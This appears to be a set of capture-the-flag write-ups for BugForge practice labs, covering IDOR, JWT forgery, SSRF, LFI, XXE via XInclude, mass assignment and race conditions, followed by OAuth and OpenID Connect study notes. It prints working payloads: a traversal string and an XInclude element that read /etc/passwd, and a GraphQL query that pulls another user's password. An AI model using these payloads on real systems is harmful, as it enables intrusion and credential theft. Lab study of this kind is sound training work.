* **Security through Obscurity failure:** the app treats the slug as an access control mechanism, but leaks it via the IDOR endpoint

***

**Remediation**

* Enforce **authorization checks** on `/api/collections/:id`  users should only be able to query collections they own or that are explicitly shared with them
* Do not rely on slugs or tokens as the sole access control mechanism for private resources


# Broken Access Control


# Tanuki

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/6kOAM5ZWtkXMPuFR0hxw" alt=""><figcaption></figcaption></figure>

In `/profile` we have optiont to edit our profile

<figure><img src="/files/j0Ym3UtraLqS9MLsDGSt" alt=""><figcaption></figcaption></figure>

request to update profile

<figure><img src="/files/YyzktAiNdK52zG1wA0jQ" alt=""><figcaption></figcaption></figure>

with this request, the first thing that comes in mind is if we can edit the profile of other user\
so, to test this, i created new account `test@gmail.com`

<figure><img src="/files/0k2SSZgEZjCsfSssYHp4" alt=""><figcaption></figcaption></figure>

then I tried to edit the email and password of `test@gmail.com` and got error `Email already exists or invalid data`

<figure><img src="/files/KdNdUNcodL9kZ2Kalmeu" alt=""><figcaption></figcaption></figure>

Key thing is username is passed in the request `/api/profile/{username}`

so, I tried editing the username and it worked

<figure><img src="/files/bgvzLbaC84CVRlGsM2eR" alt=""><figcaption></figcaption></figure>

There is no ownership check on `/api/profile/{usernname}`, meaning anyone with a valid token can edit the details of anyother account.


# Cheesy Does It

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/bG7nSVVdu6YTFUpAMxSJ" alt=""><figcaption></figcaption></figure>

After order is successfully delivered, we have an option to report a problem

<figure><img src="/files/ggazUkEAdi6by0AOnMD8" alt=""><figcaption></figcaption></figure>

And and option to reqest for refund

<figure><img src="/files/e2xPX94AMZa20Gvknu6M" alt=""><figcaption></figcaption></figure>

Refund request looks like this<br>

<figure><img src="/files/zTubjaAY3u9FMGu0NzTy" alt=""><figcaption></figcaption></figure>

```
POST /api/orders/2/refund HTTP/2
Host: lab-1772469577140-3j5sko.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJzdXNoaWwiLCJpYXQiOjE3NzI0Njk2MzR9.G9s6pB7mCddTrwMNjqGgurcogG0EuVl7vNsyOwa6AzY
Content-Length: 73
Origin: https://lab-1772469577140-3j5sko.labs-app.bugforge.io
Referer: https://lab-1772469577140-3j5sko.labs-app.bugforge.io/orders/2
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: green
Priority: u=0
Te: trailers

{"issue_reason":"Order was cold","request_refund":true,"refund_amount":0}
```

We can edit the `refund_amount` and get refund amount as much as we want.

<figure><img src="/files/iCAbwHNMgiNDuO0h0esu" alt=""><figcaption></figcaption></figure>


# CopyPasta

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/ht9ZPG2LTJasrENOSD5l" alt=""><figcaption></figcaption></figure>

Key Feature: We have option to change password.

<figure><img src="/files/kYWaFpYO84OBy7LgWVJN" alt=""><figcaption></figcaption></figure>

Its respective request is

```
PUT /api/profile/password HTTP/2
Host: lab-1772045117373-w7zhpl.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJzdXNoaWwiLCJpYXQiOjE3NzIwNDUxNjh9.x24WzsblCATJ4Z6ADjqzkB349kp3OiJ6nOODyGS3EuU
Content-Length: 33
Origin: https://lab-1772045117373-w7zhpl.labs-app.bugforge.io
Referer: https://lab-1772045117373-w7zhpl.labs-app.bugforge.io/profile/sushil
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{
    "password":"sushil",
    "user_id":5
}
```

<figure><img src="/files/r1DBzls1rMM85GAISDx0" alt=""><figcaption></figcaption></figure>

Key thing to look here is `user_id` value. Next step here would be to change `user_id` to differet value hoping we can change password of different user.

<figure><img src="/files/NFTBF2Lw54zlIe3WwUXQ" alt=""><figcaption></figcaption></figure>

Got 200 Ok. Lets verify this by changing the password of different user.\
From `/public` we can find various users's username

<figure><img src="/files/hySYhtIHq7TzFZQZMCJb" alt=""><figcaption></figcaption></figure>

Getting stats of user `coder123` . `id= 2`

<figure><img src="/files/xkaLDW2dGtdFDSVcUyPu" alt=""><figcaption></figcaption></figure>

Changing password of user 2

<figure><img src="/files/xsiEhyDAvHWQZApt8pff" alt=""><figcaption></figcaption></figure>

Successfull login

<figure><img src="/files/ooQY5Afwm4sJjFYmLVcW" alt=""><figcaption></figcaption></figure>

Flag on dashboard

<figure><img src="/files/JudvFzCgMyv5Xi63Wx7v" alt=""><figcaption></figcaption></figure>


# Ottergram

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/ZPgcd6t44IZ5zT0hp2UZ" alt=""><figcaption></figcaption></figure>

We have option to edit our profile.

<figure><img src="/files/OsHbJ9dwsS7wN5Sh81bl" alt=""><figcaption></figcaption></figure>

Request of edit profile looks as:

<figure><img src="/files/ssigL62muroI64mKRzdM" alt=""><figcaption></figcaption></figure>

editing id values, we can change the details of other user,

<figure><img src="/files/Xk4raCt5ieQ29KiVtwTl" alt=""><figcaption></figcaption></figure>

viewing user's details after editing

<figure><img src="/files/AafMwFLVkv2SqygJ86J8" alt=""><figcaption></figcaption></figure>


# Vaultly - vaultly-002

Level: Easy\
Points: 10\
Type: Daily Challenge

There exist a feature to reset your password. This feature gives a password reset link

<figure><img src="/files/DUfTPeyps3b8HmEPHTJb" alt=""><figcaption></figcaption></figure>

The respective password reset request looks like

<figure><img src="/files/41y8Ar5YJvaiQp9aeBNM" alt=""><figcaption></figcaption></figure>

Key thing to look here is presence of `email` parameter in the request. Looking at the request first thing that comes in my mind is to replace this email parameter with target email.\
\
To test this, I created new account `target@gmail.com` and replaced the earlier email parameter with `target@gmail.com`. \
There was no protection at all, hence I was able to reset target's password.

<figure><img src="/files/V2K63PsuBRoFfp9GhDj0" alt=""><figcaption></figcaption></figure>

After loggin in with target's creds we are shown the flag for this lab.

<figure><img src="/files/EAEJqUg7sXozhiUZuPW3" alt=""><figcaption></figcaption></figure>


# Local File Inclusion (LFI)


# Cafe Club

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/kLNXVywjIWAOsIl5bnTY" alt=""><figcaption></figcaption></figure>

Request we are interested in

<figure><img src="/files/SGtjsHnsYICNjWH9DvhQ" alt=""><figcaption></figcaption></figure>

First thing that I tried here is LFI payload `../../../../../../../etc/passwd`

<figure><img src="/files/hUdQSVE8bwwEYl4dGSpl" alt=""><figcaption></figcaption></figure>

After little bit of trial and error, got the flag.

<figure><img src="/files/k17mPkBvxYxW7kMz161E" alt=""><figcaption></figcaption></figure>


# SSRF (Server-Side Request Forgery)


# Tanuki

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/7NiMR5t8BG65tNrxwWvd" alt=""><figcaption></figcaption></figure>

The interesting request is for the stats page

<figure><img src="/files/mTjwTo3lG511l49u5yCX" alt=""><figcaption></figcaption></figure>

```
POST /api/fetch HTTP/2
Host: lab-1772553605009-wg1rjm.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJzdXNoaWwiLCJpYXQiOjE3NzI1NTM2MjF9.NPJaxSBBUjqSBrSgRHp4NCNbsAsL4b0mgELIsnBsCj8
Content-Length: 43
Origin: https://lab-1772553605009-wg1rjm.labs-app.bugforge.io
Referer: https://lab-1772553605009-wg1rjm.labs-app.bugforge.io/leaderboard
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: green
Priority: u=0
Te: trailers

{"url":"http://localhost:3000/leaderboard"}
```

Possible `SSRF`&#x20;

I tried editing the url parameter.

<figure><img src="/files/bmCQdcNyewYb4MZBwxgW" alt=""><figcaption></figcaption></figure>

Only port 3000 is allowed.&#x20;

After little bit of tinkering: `http://localhost:3000/admin` revealed the admin panel and flag.

<figure><img src="/files/qmvYCQAy18sjwcgkD0kv" alt=""><figcaption></figcaption></figure>


# JWT None Algorithm Attack


# Shady Oaks Financial

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/eTwnqjPbAUQFOsw82YWD" alt=""><figcaption></figcaption></figure>

After login, we get JWT as:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJzdXNoaWwiLCJyb2xlIjoidXNlciIsImlhdCI6MTc3MjgxMzY1M30.DlQBKe4708GVJ1jMIkpWTStnsIcxDaZXc4WJMnzN9hU
```

<figure><img src="/files/K2tvhnRJTYLbaMe76QF0" alt=""><figcaption></figcaption></figure>

edit the \
`algo` to `none` \
`id` to `1`\
`role` to `admin`

<figure><img src="/files/jMLAL3DPwtIISKJOsPOh" alt=""><figcaption></figcaption></figure>

Then send the request, we now have access to the admin panel

To get flag: GET request to /api/admin/flag

<figure><img src="/files/WHfO3zCYQcBHbQGGT9cc" alt=""><figcaption></figcaption></figure>


# Tanuki

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/zyJKBGo4dkyERGeQ7HTV" alt=""><figcaption></figcaption></figure>

there is nothing intresting feature to check.

So, I moved onto check JWT

<figure><img src="/files/5qfvOHc374qzVjNQE6c9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uIySaFveVZz6aTAg1l7h" alt=""><figcaption></figcaption></figure>

Edit username field in JWT Payload<br>

<figure><img src="/files/AssiHeyykNZDsHGFAmTh" alt=""><figcaption></figcaption></figure>

Simply changing the values on JWT Payload doesnot work, I tried `none sign algortithm` and it worked

<figure><img src="/files/O0XuA369ArDSU50i3BXm" alt=""><figcaption></figcaption></figure>

Next, I changed the id, and username also

<figure><img src="/files/hxocE1PWClM1wy7D2Pqm" alt=""><figcaption></figcaption></figure>

Now use this new JWT and we will have access to admin panel

<figure><img src="/files/EZW5TjpkW9jCBZidYAg3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/znDVMnKOvg9kVLLpeLgJ" alt=""><figcaption></figcaption></figure>


# Mass Assignment

**Mass Assignment** is a vulnerability where a web application **automatically binds user input to internal object fields without proper restrictions**.

Because of this, an attacker can **modify hidden or sensitive parameters** (like `role`, `is_admin`, `price`, etc.) that the application did not intend users to control.

Example:

Normal signup request:

```
{
  "email": "user@test.com",
  "password": "Password123"
}
```

Attacker modifies it to:

```
{
  "email": "user@test.com",
  "password": "Password123",
  "role": "admin"
}
```

If the backend accepts all parameters, the attacker can **create an admin account or escalate privileges**.


# Tanuki

Level: Easy\
Points: 10\
Type: Daily Challenge

Sign up flow

<figure><img src="/files/2Am8D2StH4kNy2bY3xYF" alt=""><figcaption></figcaption></figure>

during signup, role parameter is passed, edit it to admin.

<figure><img src="/files/IeMlUMhWm0HV4WsAObhK" alt=""><figcaption></figcaption></figure>

Account created with admin role.

<figure><img src="/files/DcWanY04uxNxVsWub68x" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0jfGKyBJYPXSgrmf5csK" alt=""><figcaption></figcaption></figure>


# GraphQL IDOR


# Ottergram

Level: Easy\
Points: 10\
Type: Daily Challenge

After sign-up / login flow. There is a POST request to /graphql which fetch the analytics.

<figure><img src="/files/WpisTXTIEMiBCG05O5al" alt=""><figcaption></figcaption></figure>

Viewing it in proper format

<figure><img src="/files/B1mLCK5f6aTKilshH639" alt=""><figcaption></figcaption></figure>

We can edit the userId field and get analytics of another user.\
admin's userid is 2

<figure><img src="/files/NWOPOqAC7NL1LYoLU8xE" alt=""><figcaption></figcaption></figure>

Dumping the ENTIRE Schema

```
query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
        }
      }
    }
  }
}
```

explaination

```
query
└── __schema              ← the entire schema of the API
    └── types             ← list of ALL types defined
        ├── name          ← name of the type (e.g. "User", "Analytics")
        └── fields        ← list of fields on that type
            ├── name      ← field name (e.g. "username", "password")
            └── type      ← what data type this field returns
                ├── name  ← type name (e.g. "String", "Int")
                └── kind  ← category (SCALAR, OBJECT, NON_NULL, LIST)
```

<figure><img src="/files/mNBihjENvg8MXSfa0BTu" alt=""><figcaption></figcaption></figure>

### Key Findings

There are **2 queries** and the `User` type has juicy fields:

| Query               | Returns                                   |
| ------------------- | ----------------------------------------- |
| `analytics(userId)` | Analytics                                 |
| `user(???)`         | **User** with `email`, `password`, `role` |

Lets get the username and password data.

```
query {
  user(id: 2) {
    id
    username
    email
    password
    role
  }
}
```

<figure><img src="/files/9JDFBKATygOjBxGofHqK" alt=""><figcaption></figcaption></figure>


# XXE


# Tanuki

Level: Easy\
Points: 10\
Type: Daily Challenge

We have option to import decks

<figure><img src="/files/uHLfEAgGBAqdNamhfJd4" alt=""><figcaption></figcaption></figure>

The thing that directly picks my eye is ability to import deck in XML format.

To gen an idea about the overall flow, I downloaded the provided sample json file and uploaded it.

<figure><img src="/files/YxpfoG5htcmQcegYj1iu" alt=""><figcaption></figcaption></figure>

```
{
  "name": "Sample Deck",
  "description": "A sample deck showing the import format for custom flashcards",
  "category": "Example",
  "cards": [
    {
      "front": "What is the capital of France?",
      "back": "Paris - the city of lights and capital of France since 987 AD."
    },
    {
      "front": "What programming language is this app built with?",
      "back": "JavaScript - using Node.js for backend and React for frontend."
    },
    {
      "front": "What is a flashcard?",
      "back": "A flashcard is a learning tool that presents information on both sides, typically a question on one side and an answer on the other."
    },
    {
      "front": "What does SRS stand for?",
      "back": "Spaced Repetition System - a learning technique that uses increasing intervals of time between reviews of previously learned material."
    },
    {
      "front": "How do you create a custom deck?",
      "back": "Download this sample file, edit the name, description, category, and cards array with your own content, then upload it using the Import Deck feature."
    }
  ]
}
```

Next, I tried to understand the XML import flow, for this I used deep seek to convert above json to XML

```
<?xml version="1.0" encoding="UTF-8"?>
<deck>
  <name>Sample Deck</name>
  <description>A sample deck showing the import format for custom flashcards</description>
  <category>Example</category>
  <cards>
    <card>
      <front>What is the capital of France?</front>
      <back>Paris - the city of lights and capital of France since 987 AD.</back>
    </card>
    <card>
      <front>What programming language is this app built with?</front>
      <back>JavaScript - using Node.js for backend and React for frontend.</back>
    </card>
    <card>
      <front>What is a flashcard?</front>
      <back>A flashcard is a learning tool that presents information on both sides, typically a question on one side and an answer on the other.</back>
    </card>
    <card>
      <front>What does SRS stand for?</front>
      <back>Spaced Repetition System - a learning technique that uses increasing intervals of time between reviews of previously learned material.</back>
    </card>
    <card>
      <front>How do you create a custom deck?</front>
      <back>Download this sample file, edit the name, description, category, and cards array with your own content, then upload it using the Import Deck feature.</back>
    </card>
  </cards>
</deck>
```

and it is successfully imported:\
Note: edit the file extension and content-type during upload

<figure><img src="/files/GZLR4vk3QiqIFlg863aJ" alt=""><figcaption></figcaption></figure>

To make it easier to work with, I compacted the XML length, keeping card count to only one

<figure><img src="/files/oIA8b2YApuNhQ3PdFyPK" alt=""><figcaption></figcaption></figure>

From here I tried to use various XXE payload from <https://hacktricks.wiki/en/pentesting-web/xxe-xee-xml-external-entity.html>

<figure><img src="/files/MxKB2AZ10xStTmqjEmas" alt=""><figcaption></figcaption></figure>

Default payload with `<!DOCTYPE>` gave some error which highlight, the backend XML parsers migh disable DTD processing by default because it's a major security risk. When DTD is disabled:

* `<!DOCTYPE>` declarations are ignored or cause errors
* External entities are never resolved
* The parser essentially says "I see this, but I'm not allowed to process it"

To bypass this I used `XInclude` payload from <https://hacktricks.wiki/en/pentesting-web/xxe-xee-xml-external-entity.html?highlight=xml#xinclude>

### What is XInclude?

**XInclude (XML Inclusions)** is a W3C specification that allows XML documents to include content from external sources. It's a separate feature from XML's DTD-based external entities.

```
<?xml version="1.0" encoding="UTF-8"?>
<deck xmlns:xi="http://www.w3.org/2001/XInclude">
  <name><xi:include href="file:///etc/passwd" parse="text"/></name>
  <description>A sample deck showing the import format for custom flashcards</description>
  <category>Example</category>
  <cards>
    <card>
      <front>What is the capital of France?</front>
      <back>Paris - the city of lights and capital of France since 987 AD.</back>
    </card>
</deck>
```

<figure><img src="/files/i3eYuheLv7tq5qEFd7eg" alt=""><figcaption></figcaption></figure>

Then I opened the imported dec

<figure><img src="/files/6N6Mh4PFch2x4wHDHfPZ" alt=""><figcaption></figcaption></figure>

The payload works and loads the content of `/etc/passwd` \[Flag is somewhere else]

after little of search, I found the flag in current directory

<figure><img src="/files/jZPGpfUCrDaeqIj3oDtq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qnskgVmlD59CtHKl8uEh" alt=""><figcaption></figcaption></figure>


# Race Condition


# Shady Oaks Financial

Level: Easy\
Points: 10\
Type: Daily Challenge

After Sign-up , login the interesting feature is ability to exchange currency.\
At the beginning, we have €1000

First thing that comes in my mind looking at the conversion feature is possibility of Race Condition.\
For this, I tried to convert all €1000 to USD.

<figure><img src="/files/8rXmIesthrMxnFxQWNOF" alt=""><figcaption></figcaption></figure>

Intercept request,

<figure><img src="/files/swcTDEINYIbjhAWbNaFa" alt=""><figcaption></figcaption></figure>

Send request to repeater, Drop request from Intercept tab

In repeater tab, create multiple duplicate tab, add all them to group and select send group (parallel)

<figure><img src="/files/jKnN7Pf0Qw6UOBj8l2zr" alt=""><figcaption></figcaption></figure>

Send request as group (parallel), triggers Race conditions and gives us flag.


# JWT Secret Key Brute-Forcing


# Cheesy Does it - cheesy-007

Level: Easy\
Points: 10\
Type: Daily Challenge

### Steps

* **Registered** and got a JWT with a `role` parameter

<figure><img src="/files/VlYOCxb0dq4j31qrOut2" alt=""><figcaption></figcaption></figure>

* **Cracked the secret** using Burp Suite's JWT Editor extension (weak HMAC secret attack) → found it was `secret`

<figure><img src="/files/BHBzGEGW5X6uCkyy28mM" alt=""><figcaption></figcaption></figure>

* **Created a new symmetric key** in JWT Editor using `secret`

<figure><img src="/files/plDfIliiMGDZQa9i9tRh" alt=""><figcaption></figcaption></figure>

* **Modified the payload:**
  * Changed `role` to `admin`
  * Changed `id` to `1`
* **Signed** the modified JWT with the symmetric key

<figure><img src="/files/ODgo7HUCMERBLX4Y1Tjm" alt=""><figcaption></figcaption></figure>

* **Sent the request** with the forged token → worked successfully
* **Accessed** `/api/admin/users` and got the flag from the `X-Flag` response header

<figure><img src="/files/IejfFd9NzAcoF9M0iSb4" alt=""><figcaption></figcaption></figure>


# OAuth Attacks

## What OAuth 2.0 Actually Is

<figure><img src="/files/66Doa3ZP2N5wByz0LFig" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QSlWk8aoMXMaCOvBsrUh" alt=""><figcaption></figcaption></figure>

An **authorization** framework (not authentication) that lets a user grant a third-party app limited access to their resources on another service, without sharing their password.

## The 4 Roles

* **Resource Owner** — the user who owns the data
* **Client** — the application requesting access
* **Authorization Server** — issues access tokens after authenticating the user and getting consent
* **Resource Server** — hosts the protected data, accepts access tokens to serve it

## Key Terms

* **Client ID** — public identifier for the app
* **Client Secret** — private credential, known only to client + auth server
* **Redirect URI** — where the auth server sends the user back after approval
* **Scope** — what level of access is being requested (e.g., `read:email`)
* **Authorization Code** — short-lived, single-use code exchanged for a token
* **Access Token** — credential used to call the resource server's API
* **Refresh Token** — long-lived credential used to get new access tokens without re-login

## The Standard Flow (Authorization Code Grant)

1. Client redirects user to the **authorization endpoint** with `client_id`, `redirect_uri`, `scope`, `state`, `response_type=code`
2. User logs in (if needed) and approves the requested scopes
3. Auth server redirects back to `redirect_uri` with an **authorization code**
4. Client's backend exchanges the code + `client_secret` for an **access token** (and often a refresh token) at the **token endpoint**
5. Client uses the access token to call the resource server's API

## Other Grant Types (for context)

{% content-ref url="/pages/eATsl4TD7gWjGnLQ10cK" %}
[OAuth Grant Types](/web-application-pentest/oauth-attacks/oauth-grant-types)
{% endcontent-ref %}

| Grant Type            | Use Case                                          |
| --------------------- | ------------------------------------------------- |
| Authorization Code    | Standard - server-side apps                       |
| PKCE (extension)      | Mobile/SPA apps - no client secret                |
| Client Credentials    | Machine-to-machine, no user involved              |
| Implicit (deprecated) | Old browser-based flow, token in URL fragment     |
| Device Code           | TVs, CLI tools - user approves on a second device |

## OAuth vs OIDC

* **OAuth 2.0** = authorization ("can this app access this data?")
* **OpenID Connect (OIDC)** = authentication layer on top of OAuth, adds `id_token` (a JWT) to actually verify *who* the user is

## Quick Mental Model

> The client never sees the user's password. It gets a token that proves "this user allowed me to do X" - scoped, revocable, and time-limited.

## Vulnerabilities in the OAuth client application

### Improper implementation of the implicit grant type

## Key Insight

Even if the **OAuth service** (Google, Facebook, etc.) is secure, the **client application's own implementation** is often the weak link. OAuth spec is loosely defined → lots of optional parameters/configs → lots of room for misconfiguration.

## The Flaw: Improper Implicit Grant Implementation

**Why it happens:**

* Implicit flow sends `access_token` via browser (URL fragment)
* Client JS extracts it
* To persist the session (survive page close), the app sends user data + token to its own backend via `POST`, which then sets a session cookie

**The problem:**

* This `POST` request is **visible and editable by the attacker** (it's just a browser request)
* Server has **no secret/password to independently verify** the submitted data against - no `client_secret` exchange happens in this flow
* So the server **implicitly trusts** whatever fields are sent, *unless* it separately re-validates the token

**The vulnerability:**

> If the server doesn't check that the `access_token` actually corresponds to the `email`/`username`/user ID also sent in that request, an attacker can simply **edit those fields** and impersonate any user - while using their own valid token.

## One-Line Takeaway

> Implicit flow moves everything through the browser - including the final "log me in as X" request - so if the server trusts client-supplied identity fields instead of deriving identity from the token itself, it's game over.

{% content-ref url="/pages/rjeP8ip6a2DMorpNuUw3" %}
[Lab 1  Authentication bypass via OAuth implicit flow](/web-application-pentest/oauth-attacks/oauth-attacks-labs-portswigger-academy/lab-1-authentication-bypass-via-oauth-implicit-flow)
{% endcontent-ref %}

### Flawed CSRF protection

{% content-ref url="/pages/bbp7MfuPMMEnEbs81Co7" %}
[Lab 2 Forced OAuth profile linking](/web-application-pentest/oauth-attacks/oauth-attacks-labs-portswigger-academy/lab-2-forced-oauth-profile-linking)
{% endcontent-ref %}

### Leaking authorization codes and access tokens

{% content-ref url="/pages/YIxXQYqbdXpQsEDW5yXC" %}
[Lab 3 OAuth account hijacking via redirect\_uri](/web-application-pentest/oauth-attacks/oauth-attacks-labs-portswigger-academy/lab-3-oauth-account-hijacking-via-redirect_uri)
{% endcontent-ref %}

### Stealing codes and access tokens via a proxy page

{% content-ref url="/pages/9fcVMCQgdvUQoboLzUk7" %}
[Lab 4 Stealing OAuth access tokens via an open redirect](/web-application-pentest/oauth-attacks/oauth-attacks-labs-portswigger-academy/lab-4-stealing-oauth-access-tokens-via-an-open-redirect)
{% endcontent-ref %}

***

{% content-ref url="/pages/8NJX4cdVV2JGkmIq98b4" %}
[OpenID Connect](/web-application-pentest/oauth-attacks/openid-connect)
{% endcontent-ref %}

{% content-ref url="/pages/sf8UknaVXuBaEI5WjkpZ" %}
[Lab 6 SSRF via OpenID dynamic client registration](/web-application-pentest/oauth-attacks/oauth-attacks-labs-portswigger-academy/lab-6-ssrf-via-openid-dynamic-client-registration)
{% endcontent-ref %}


# OAuth Grant Types

## What is a Grant Type?

The exact sequence of steps ("flow") used to get an access token. Client specifies which one it wants via `response_type` in the initial request. OAuth service must support it.

## Scopes

* Defines what data/access the client is requesting
* Format is provider-specific: `scope=contacts`, `scope=contacts.read`, full URIs, etc.
* For **authentication use-cases** → standardized **OpenID Connect** scopes used instead, e.g. `scope=openid profile` → grants read access to basic identity info (email, username)

***

## 1. Authorization Code Grant (most secure, server-side apps)

![](/files/eldzqBWGBsCh9GQtnKKt)

**Core idea:** Get a *code* first (via browser), then swap it for a token *server-to-server* (invisible to attacker/browser).

| Step                        | Request                                                                                                  | Notes                                                 |
| --------------------------- | -------------------------------------------------------------------------------------------------------- | ----------------------------------------------------- |
| 1. Authorization request    | `GET /authorization?client_id=..&redirect_uri=..&response_type=code&scope=..&state=..`                   | Browser-based                                         |
| 2. Login + consent          | User logs into OAuth provider, approves scopes                                                           | Auto-approved on repeat visits if session still valid |
| 3. Authorization code grant | `GET /callback?code=...&state=...`                                                                       | Code sent via browser redirect                        |
| 4. Access token request     | `POST /token` with `client_id`, `client_secret`, `redirect_uri`, `grant_type=authorization_code`, `code` | **Server-to-server, secure back-channel**             |
| 5. Access token grant       | JSON: `access_token`, `token_type`, `expires_in`, `scope`                                                | Not exposed to browser                                |
| 6. API call                 | `GET /userinfo` with `Authorization: Bearer <token>`                                                     | Server-side call                                      |
| 7. Resource grant           | JSON: `username`, `email`, etc.                                                                          | Used to log user in                                   |

### Key Parameters

* `client_id` - public identifier, issued at registration
* `client_secret` - private, proves client's identity during token exchange (**this is what makes this flow secure**)
* `redirect_uri` - where code is sent; **common attack surface** (validation flaws)
* `response_type=code` - signals this grant type
* `state` - **anti-CSRF token**; unique/unguessable, tied to client session, must match on return
* `grant_type=authorization_code` - tells `/token` endpoint which flow this is

### Why it's secure

Token + user data never touch the browser - only the one-time `code` does. Even if `code` leaks, it's useless without `client_secret`.

***

## 2. Implicit Grant (simpler, less secure - SPAs/native apps)

![](/files/gNVBxzQbBxZ7wTPMk73h)

**Core idea:** Skip the code step entirely - token comes back **directly** in the redirect, via browser.

| Step                     | Request                                                                       | Notes                                       |
| ------------------------ | ----------------------------------------------------------------------------- | ------------------------------------------- |
| 1. Authorization request | Same as above but `response_type=token`                                       |                                             |
| 2. Login + consent       | Same as code flow                                                             |                                             |
| 3. Access token grant    | `GET /callback#access_token=..&token_type=..&expires_in=..&scope=..&state=..` | **Token in URL fragment**, not query string |
| 4. API call              | `GET /userinfo` with `Authorization: Bearer <token>`                          | Happens via **browser**, not backend        |
| 5. Resource grant        | JSON: `username`, `email`                                                     | Client JS extracts + uses this              |

### Why fragment (`#`) not query (`?`)

Fragments are **never sent to the server** by the browser (only used client-side) - deliberate design to limit token exposure to the URL/server logs. But client-side JS still must extract and handle it manually.

### Why it's less secure

* No `client_secret` involved at all
* No secure back-channel - **everything** happens via browser redirects
* Token is directly exposed to browser history, extensions, referer leaks, etc.
* Used only because SPAs/native apps can't safely store a `client_secret`

***

## Quick Comparison

|                                  | Authorization Code | Implicit           |
| -------------------------------- | ------------------ | ------------------ |
| `response_type`                  | `code`             | `token`            |
| Token exposed to browser?        | No                 | Yes                |
| Needs `client_secret`?           | Yes                | No                 |
| Back-channel (server-to-server)? | Yes                | No                 |
| Best for                         | Server-side apps   | SPAs / native apps |
| Security                         | Higher             | Lower              |

## Critical Recurring Concept

> **`state` = CSRF protection.** Must be unguessable, tied to the user's session, and validated on return - regardless of grant type. Missing/weak `state` is one of the most common OAuth vulnerabilities.

> The resource server (`/userinfo`) **must verify the token belongs to the requesting client** before returning data - this is the check that was missing in the lab you just solved.


# OpenID Connect

## The Problem OIDC Solves

You already know OAuth 2.0 is an **authorization** framework - "can this app access this data on my behalf?" It was never designed to answer the question **"who is this user?"**

But in practice, everyone started using OAuth for **login** ("Sign in with Google/Facebook") anyway - by requesting a `profile`/`email` scope and treating whatever `/userinfo` returned as proof of identity. You saw this exact pattern in every lab so far: get a token, call `/userinfo`, trust the email/username back.

**The problem with that approach:** OAuth access tokens were never designed to prove identity to the client. They're designed to prove "you're allowed to call this API." Using them for authentication is a **repurposing**, not their intended use - and this repurposing is exactly why so many of the vulnerabilities you've seen exist (missing audience checks, trusting client-supplied identity, tokens leaking and being replayable as "login proof," etc.).

## What OIDC Actually Is

**OpenID Connect is a thin identity layer built on top of OAuth 2.0**, standardizing the *authentication* use case that everyone was already improvising.

> OAuth 2.0 = authorization protocol\
> OIDC = authentication protocol, built using OAuth 2.0 as its transport mechanism

It adds a few concrete things on top of vanilla OAuth:

### 1. A new token: the **ID Token**

This is the key addition. Alongside the (optional) `access_token`, the authorization server also issues an **`id_token`** - a **JWT** (JSON Web Token), specifically designed to assert identity.

Unlike calling `/userinfo` (which requires a follow-up API call, and which you've seen apps mishandle), the `id_token` is:

* **Signed** by the authorization server (usually with RS256/JWT signature)
* **Self-contained** - the client can verify it locally without an extra network round-trip
* Contains standardized **claims** about the user directly inside it

### 2. Standardized claims (structured fields inside the JWT)

Example decoded `id_token` payload:

json

```json
{
  "iss": "https://oauth-server.com",
  "sub": "10769150350006150715113082367",
  "aud": "client_id_12345",
  "exp": 1700000000,
  "iat": 1699996400,
  "nonce": "abc123",
  "email": "wiener@example.com",
  "name": "Peter Wiener"
}
```

| Claim                 | Meaning                                                                  |
| --------------------- | ------------------------------------------------------------------------ |
| `iss`                 | Issuer - who created/signed this token                                   |
| `sub`                 | Subject - unique, stable identifier for the user                         |
| `aud`                 | Audience - which client this token was issued for                        |
| `exp` / `iat`         | Expiry / issued-at timestamps                                            |
| `nonce`               | Ties this token to a specific authentication request (replay protection) |
| `email`, `name`, etc. | Actual profile data, depending on requested scopes                       |

### 3. The `openid` scope

This is the trigger - you've seen it in every lab already:

```
scope=openid profile email
```

